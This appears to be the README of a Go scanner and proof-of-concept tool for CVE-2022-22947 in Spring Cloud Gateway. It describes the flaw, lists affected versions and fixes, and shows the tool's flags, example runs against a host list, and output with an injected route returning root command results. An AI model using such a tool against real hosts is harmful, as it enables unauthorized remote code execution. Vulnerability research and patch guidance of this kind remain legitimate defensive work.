22ke/cve-2022-22947Scanner and PoC for CVE-2022-22947 that tests Spring Cloud Gateway Actuator endpoints, injects malicious route filters, and executes commands against vulnerable hosts.
Spring Cloud Gateway is a new project under Spring Cloud, aiming to replace Netflix Zuul. It is developed based on Spring 5.0+, Spring Boot 2.0+, and WebFlux (based on the high-performance Reactor pattern reactive communication framework Netty, asynchronous non-blocking model) and other technologies, with performance higher than Zuul. Official tests show that Gateway is 1.6 times faster than Zuul, designed to provide a simple and effective unified API routing management method for microservice architectures. The Spring Cloud Gateway Remote Code Execution Vulnerability (CVE-2022-22947) occurs in the Actuator endpoint of Spring Cloud Gateway applications. It is susceptible to code injection attacks when enabled, exposed, and insecure. Attackers can exploit this vulnerability to maliciously create requests that allow arbitrary remote execution on remote hosts. CVSS score: 9.8, Severity: Critical
CVE-2022-22947
3.1.0 3.0.0 to 3.0.6 Versions before 3.0.0
3.1.x users should upgrade to 3.1.1+
3.0.x users should upgrade to 3.0.7+
If the Actuator endpoint is not needed, it can be disabled by configuring management.endpoint.gateway.enable: false
If the Actuator endpoint is needed, it should be protected using Spring Security
This script is written in Golang and compiled into a Windows executable
-cmd string Command to execute (default "id") -host string Target address or file path containing addresses (default "http://127.0.0.1:80")
Example:
./cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
>cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
result: http://127.0.0.1:10089 : {"predicate":"RouteDefinitionRouteLocator$$Lambda$978/705851885","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri": "http://example.com:80","order":0}
vulnerable host:
http://127.0.0.1:10089